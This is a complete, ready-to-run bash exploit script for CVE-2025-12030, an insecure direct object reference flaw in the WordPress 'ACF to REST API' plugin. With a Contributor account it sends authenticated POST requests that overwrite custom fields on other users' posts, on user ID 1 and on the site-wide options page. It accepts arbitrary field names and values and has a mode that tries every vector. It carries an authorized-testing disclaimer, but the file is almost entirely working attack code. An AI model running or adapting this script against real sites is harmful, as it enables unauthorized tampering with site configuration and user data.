exploit.sh

#!/bin/bash
#
# CVE-2025-12030 - ACF to REST API IDOR Exploit
# Insecure Direct Object Reference to Authenticated (Contributor+) ACF Field/Option Modification
#
# Author: Kai Aizen (SnailSploit)
# Date: January 6, 2026
#
# For educational and authorized testing purposes only.
#

set -e

# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

banner() {
    echo -e "${BLUE}"
    echo "╔═══════════════════════════════════════════════════════════════════╗"
    echo "║               CVE-2025-12030 - ACF to REST API IDOR               ║"
    echo "║     Insecure Direct Object Reference Vulnerability Exploit        ║"
    echo "║                                                                   ║"
    echo "║  Discovered by: Kai Aizen (SnailSploit)                          ║"
    echo "║  For authorized security testing only                             ║"
    echo "╚═══════════════════════════════════════════════════════════════════╝"
    echo -e "${NC}"
}

usage() {
    echo "Usage: $0 <target_url> <username> <app_password> [options]"
    echo ""
    echo "Required Arguments:"
    echo "  target_url     Target WordPress URL (e.g., https://example.com)"
    echo "  username       WordPress username with Contributor+ role"
    echo "  app_password   Application password for authentication"
    echo ""
    echo "Options:"
    echo "  -i, --id       Target object ID (default: 1)"
    echo "  -t, --type     Object type: posts|pages|users|comments|options (default: posts)"
    echo "  -f, --field    ACF field name to modify"
    echo "  -v, --value    Value to set for the field"
    echo "  -r, --read     Read-only mode (no modification)"
    echo "  -a, --all      Test all attack vectors"
    echo "  -h, --help     Show this help message"
    echo ""
    echo "Examples:"
    echo "  $0 https://target.com contributor xxxx-xxxx-xxxx -i 42 -t posts"
    echo "  $0 https://target.com user pass -t options -f site_setting -v 'test'"
    echo "  $0 https://target.com user pass --all"
    exit 1
}

log_info() {
    echo -e "${BLUE}[*]${NC} $1"
}

log_success() {
    echo -e "${GREEN}[+]${NC} $1"
}

log_error() {
    echo -e "${RED}[-]${NC} $1"
}

log_warning() {
    echo -e "${YELLOW}[!]${NC} $1"
}

# Check dependencies
check_deps() {
    if ! command -v curl &> /dev/null; then
        log_error "curl is required but not installed"
        exit 1
    fi
    
    if ! command -v jq &> /dev/null; then
        log_warning "jq is not installed - JSON output will not be formatted"
        JQ_AVAILABLE=false
    else
        JQ_AVAILABLE=true
    fi
}

# Format JSON output
format_json() {
    if [ "$JQ_AVAILABLE" = true ]; then
        jq '.' 2>/dev/null || cat
    else
        cat
    fi
}

# Read ACF fields
read_acf_fields() {
    local url="$1"
    local auth="$2"
    local obj_type="$3"
    local obj_id="$4"
    
    local endpoint
    if [ "$obj_type" = "options" ]; then
        endpoint="${url}/wp-json/acf/v3/options/${obj_id:-options}"
    else
        endpoint="${url}/wp-json/acf/v3/${obj_type}/${obj_id}"
    fi
    
    log_info "Reading ACF fields from: ${endpoint}"
    
    response=$(curl -s -X GET "$endpoint" \
        -H "Authorization: Basic $auth" \
        -H "Content-Type: application/json" \
        -w "\n%{http_code}")
    
    http_code=$(echo "$response" | tail -n1)
    body=$(echo "$response" | sed '$d')
    
    if [ "$http_code" = "200" ]; then
        log_success "Successfully retrieved ACF fields"
        echo "$body" | format_json
        return 0
    else
        log_error "Failed to read fields: HTTP $http_code"
        echo "$body"
        return 1
    fi
}

# Modify ACF fields (IDOR test)
modify_acf_fields() {
    local url="$1"
    local auth="$2"
    local obj_type="$3"
    local obj_id="$4"
    local field_name="$5"
    local field_value="$6"
    
    local endpoint
    if [ "$obj_type" = "options" ]; then
        endpoint="${url}/wp-json/acf/v3/options/${obj_id:-options}"
    else
        endpoint="${url}/wp-json/acf/v3/${obj_type}/${obj_id}"
    fi
    
    # Build payload
    local payload
    if [ -n "$field_name" ] && [ -n "$field_value" ]; then
        payload="{\"fields\":{\"${field_name}\":\"${field_value}\"}}"
    else
        payload='{"fields":{"idor_test":"CVE-2025-12030_VERIFIED"}}'
    fi
    
    log_info "Attempting IDOR modification on: ${endpoint}"
    log_info "Payload: ${payload}"
    
    response=$(curl -s -X POST "$endpoint" \
        -H "Authorization: Basic $auth" \
        -H "Content-Type: application/json" \
        -d "$payload" \
        -w "\n%{http_code}")
    
    http_code=$(echo "$response" | tail -n1)
    body=$(echo "$response" | sed '$d')
    
    if [ "$http_code" = "200" ]; then
        echo ""
        log_warning "SUCCESS - IDOR VULNERABILITY CONFIRMED!"
        log_warning "Modified ACF fields on ${obj_type}/${obj_id} without proper authorization"
        log_success "Response:"
        echo "$body" | format_json
        return 0
    elif [ "$http_code" = "403" ]; then
        log_success "Access denied (403) - Proper authorization in place"
        return 1
    elif [ "$http_code" = "401" ]; then
        log_error "Authentication failed (401) - Check credentials"
        return 1
    else
        log_error "Unexpected response: HTTP $http_code"
        echo "$body"
        return 1
    fi
}

# Test all attack vectors
test_all_vectors() {
    local url="$1"
    local auth="$2"
    local test_id="${3:-1}"
    
    echo ""
    echo "============================================================"
    echo "Testing all IDOR attack vectors..."
    echo "============================================================"
    
    local posts_vuln=false
    local users_vuln=false
    local options_vuln=false
    
    # Test 1: Posts
    echo ""
    log_info "[Test 1] Attempting to modify post owned by another user..."
    if modify_acf_fields "$url" "$auth" "posts" "$test_id"; then
        posts_vuln=true
    fi
    
    # Test 2: Users
    echo ""
    log_info "[Test 2] Attempting to modify user ACF fields..."
    if modify_acf_fields "$url" "$auth" "users" "1"; then
        users_vuln=true
    fi
    
    # Test 3: Options
    echo ""
    log_info "[Test 3] Attempting to modify global options page..."
    if modify_acf_fields "$url" "$auth" "options" "options"; then
        options_vuln=true
    fi
    
    # Summary
    echo ""
    echo "============================================================"
    echo "VULNERABILITY ASSESSMENT SUMMARY"
    echo "============================================================"
    
    if [ "$posts_vuln" = true ]; then
        log_warning "Posts IDOR: VULNERABLE"
    else
        log_success "Posts IDOR: PROTECTED"
    fi
    
    if [ "$users_vuln" = true ]; then
        log_warning "Users IDOR: VULNERABLE"
    else
        log_success "Users IDOR: PROTECTED"
    fi
    
    if [ "$options_vuln" = true ]; then
        log_warning "Options IDOR: VULNERABLE"
    else
        log_success "Options IDOR: PROTECTED"
    fi
    
    echo "============================================================"
    if [ "$posts_vuln" = true ] || [ "$users_vuln" = true ] || [ "$options_vuln" = true ]; then
        log_warning "TARGET IS VULNERABLE TO CVE-2025-12030"
    else
        log_success "Target appears to be protected"
    fi
    echo "============================================================"
}

# Check if plugin is installed
check_plugin() {
    local url="$1"
    local auth="$2"
    
    log_info "Checking for ACF to REST API plugin..."
    
    response=$(curl -s -o /dev/null -w "%{http_code}" \
        "${url}/wp-json/acf/v3/" \
        -H "Authorization: Basic $auth")
    
    if [ "$response" = "200" ]; then
        log_success "ACF REST API is accessible"
        return 0
    elif [ "$response" = "404" ]; then
        log_error "ACF to REST API plugin not detected"
        return 1
    else
        log_warning "API returned status $response"
        return 0
    fi
}

# Main execution
main() {
    banner
    check_deps
    
    # Default values
    OBJ_ID="1"
    OBJ_TYPE="posts"
    FIELD_NAME=""
    FIELD_VALUE=""
    READ_ONLY=false
    TEST_ALL=false
    
    # Parse required arguments
    if [ $# -lt 3 ]; then
        usage
    fi
    
    TARGET_URL="$1"
    USERNAME="$2"
    APP_PASSWORD="$3"
    shift 3
    
    # Parse optional arguments
    while [ $# -gt 0 ]; do
        case "$1" in
            -i|--id)
                OBJ_ID="$2"
                shift 2
                ;;
            -t|--type)
                OBJ_TYPE="$2"
                shift 2
                ;;
            -f|--field)
                FIELD_NAME="$2"
                shift 2
                ;;
            -v|--value)
                FIELD_VALUE="$2"
                shift 2
                ;;
            -r|--read)
                READ_ONLY=true
                shift
                ;;
            -a|--all)
                TEST_ALL=true
                shift
                ;;
            -h|--help)
                usage
                ;;
            *)
                log_error "Unknown option: $1"
                usage
                ;;
        esac
    done
    
    # Encode credentials
    AUTH=$(echo -n "${USERNAME}:${APP_PASSWORD}" | base64)
    
    log_info "Target: ${TARGET_URL}"
    log_info "Username: ${USERNAME}"
    echo ""
    
    # Check if plugin is present
    if ! check_plugin "$TARGET_URL" "$AUTH"; then
        log_error "Target does not appear to have ACF to REST API plugin installed"
        exit 1
    fi
    
    echo ""
    
    if [ "$TEST_ALL" = true ]; then
        test_all_vectors "$TARGET_URL" "$AUTH" "$OBJ_ID"
    elif [ "$READ_ONLY" = true ]; then
        read_acf_fields "$TARGET_URL" "$AUTH" "$OBJ_TYPE" "$OBJ_ID"
    else
        if modify_acf_fields "$TARGET_URL" "$AUTH" "$OBJ_TYPE" "$OBJ_ID" "$FIELD_NAME" "$FIELD_VALUE"; then
            echo ""
            log_warning "Vulnerability confirmed - CVE-2025-12030"
            exit 0
        else
            echo ""
            log_info "Exploitation failed or target is patched"
            exit 1
        fi
    fi
}

# Run main function
main "$@"